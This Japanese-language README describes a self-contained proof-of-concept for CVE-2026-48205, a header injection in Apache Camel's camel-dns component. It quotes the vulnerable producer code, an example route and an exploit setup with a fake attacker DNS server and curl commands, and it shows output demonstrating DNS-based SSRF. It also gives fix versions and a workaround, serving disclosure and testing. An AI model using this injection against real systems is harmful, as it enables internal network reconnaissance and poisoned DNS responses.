
dns.* / term ヘッダーインジェクション再現コード (CVE-2026-48205)このプロジェクトは、Apache Camel の camel-dns コンポーネントにおける メッセージヘッダーインジェクション を実証するもので、CVE-2026-48205 として追跡されています。DNS プロデューサーは、クエリ対象のリゾルバ、検索する名前/ドメイン、レコードタイプ/クラス、検索語といった操作パラメーターを Exchange ヘッダーから読み取りますが、その定数値(DnsConstants.DNS_SERVER、DNS_NAME、DNS_DOMAIN、DNS_TYPE、DNS_CLASS、TERM)は、単なる文字列 dns.server、dns.name、dns.domain、dns.type、dns.class、term でした。これらの名前は Camel / camel プレフィックスで始まらないため、HTTP 境界で Camel ヘッダー名前空間のみをブロックする HttpHeaderFilterStrategy は、インバウンド HTTP リクエストから Exchange への通過を許してしまいます。
HTTP コンシューマー(例: platform-http)を dns: プロデューサーにブリッジするルートでは、任意の HTTP クライアントが dns.server ヘッダーを設定することで、dig プロデューサーに攻撃者制御の DNS サーバーを指す SimpleResolver を構築させることができます。これは DNS を介したサーバーサイドリクエストフォージェリ (SSRF) であり、攻撃者はクエリされた名前を観察し、ポイズニングした応答を返すことができます。また、dns.name / dns.domain を設定して任意の内部ホスト名を解決させること(内部ネットワークの偵察)も可能です。
アドバイザリ: https://camel.apache.org/security/CVE-2026-48205.html
この修正により、ヘッダーは
CamelDnsServer/CamelDnsNameなどにリネームされ、他のすべての Camel 制御ヘッダーと同様に HTTP 境界でフィルタリングされるようになります。CVE-2025-27636、CVE-2026-46454、CVE-2026-47323 と同じファミリーです。
// DnsConstants (affected 4.18.2) — the control-header names are bare, non-Camel-prefixed strings:
public static final String DNS_SERVER = "dns.server";
public static final String DNS_NAME = "dns.name";
// DnsDigProducer.process (affected 4.18.2) — the resolver target comes straight from the header:
String server = exchange.getIn().getHeader(DnsConstants.DNS_SERVER, String.class);
SimpleResolver resolver = new SimpleResolver(server); // <-- attacker-controlled DNS server
int type = Type.value(exchange.getIn().getHeader(DnsConstants.DNS_TYPE, String.class));
Name name = Name.fromString(exchange.getIn().getHeader(DnsConstants.DNS_NAME, String.class), Name.root);
// ... resolver.send(query) — the query goes to the attacker's server
この修正(4.14.8 / 4.18.3 / 4.21.0、CAMEL-23574)は、値を CamelDns* の命名規則にリネームします。
from("platform-http:/lookup")
.setHeader("dns.name", constant("example.com"))
.setHeader("dns.type", constant("A"))
.setHeader("dns.class", constant("IN"))
.to("dns:dig"); // no dns.server -> default resolver (intended)
このルートは固定の名前をデフォルトリゾルバに対して dig します。攻撃者は dns.server ヘッダーを 1 つ追加するだけで、クエリが攻撃者の DNS サーバーにリダイレクトされます。(dns.server は小文字のため、サーブレットコンテナのヘッダー正規化をすり抜けます — platform-http で十分です。)
すべてが単一の自己完結型コンテナ内で動作します:被害者ルート、攻撃者のフェイク DNS サーバー(UDP 53)、攻撃者ドライバーです。
CVE-2026-48205/
├── pom.xml # camel-platform-http + camel-dns 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── FakeDnsServer.java # attacker DNS server on UDP 53 (records the redirected query)
│ ├── VictimRoute.java # platform-http:/lookup -> dns:dig
│ └── ExploitController.java # attacker: injects dns.server=127.0.0.1
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== 1) Legitimate request (no dns.server header) — default resolver ===
attacker's DNS server was queried: false
=== 2) Injected dns.server=127.0.0.1 (SSRF via DNS) ===
attacker's DNS server was queried: true
observed lookup name: example.com.
>>> Header-injection / SSRF proof — an unauthenticated HTTP client redirected the route's DNS
>>> query to an attacker-controlled server via the dns.server header: true
これで攻撃者の DNS サーバーは被害者のルックアップ名を確認できます(そしてポイズニング応答を返せる可能性があります)。dns.server を実際の内部 DNS リゾルバに向けたり、dns.name に内部ホスト名を設定したりすることで、内部ネットワークの偵察が可能になります。
4.14.8 / 4.18.3 / 4.21.0(CAMEL-23574)にアップグレードしてください。アップグレード後、ヘッダー経由で DNS 操作を行うルートは CamelDnsServer / CamelDnsName などを使用する必要があります。
アップグレードするまでは、dns: プロデューサーに渡す前に、信頼できないインバウンドから dns.* および term ヘッダーを除去し、DNS サーバーとルックアップパラメーターをルート内の信頼できるソースから設定してください。
この再現コードは、公開され修正済みの脆弱性に対するセキュリティ研究および許可されたテスト専用に提供されます。明示的な許可なくシステムに対して使用しないでください。
| Property | Value |
|---|
| コンポーネント | camel-dns |
| 影響を受けるクラス | org.apache.camel.component.dns.DnsDigProducer — new SimpleResolver(getHeader("dns.server")) |
| CWE | CWE-20 (不適切な入力検証) / CWE-918 (サーバーサイドリクエストフォージェリ) |
| 影響 | ルートの DNS クエリを攻撃者制御のサーバーへリダイレクト(名前の観察、ポイズニング応答の返却); 内部ホスト名の列挙 |
| 前提条件 | HTTP コンシューマーを dns: プロデューサーにブリッジするルートが存在すること; コンシューマーが未認証である場合は認証不要 |
| 影響を受けるバージョン | 4.0.0 以上 4.14.8 未満、4.15.0 以上 4.18.3 未満、4.19.0 以上 4.21.0 未満 |
| 修正済みバージョン | 4.14.8、4.18.3、4.21.0 |
| JIRA | CAMEL-23574 (PR apache/camel#23411) |
| クレジット | Yu Bao (PayPal) |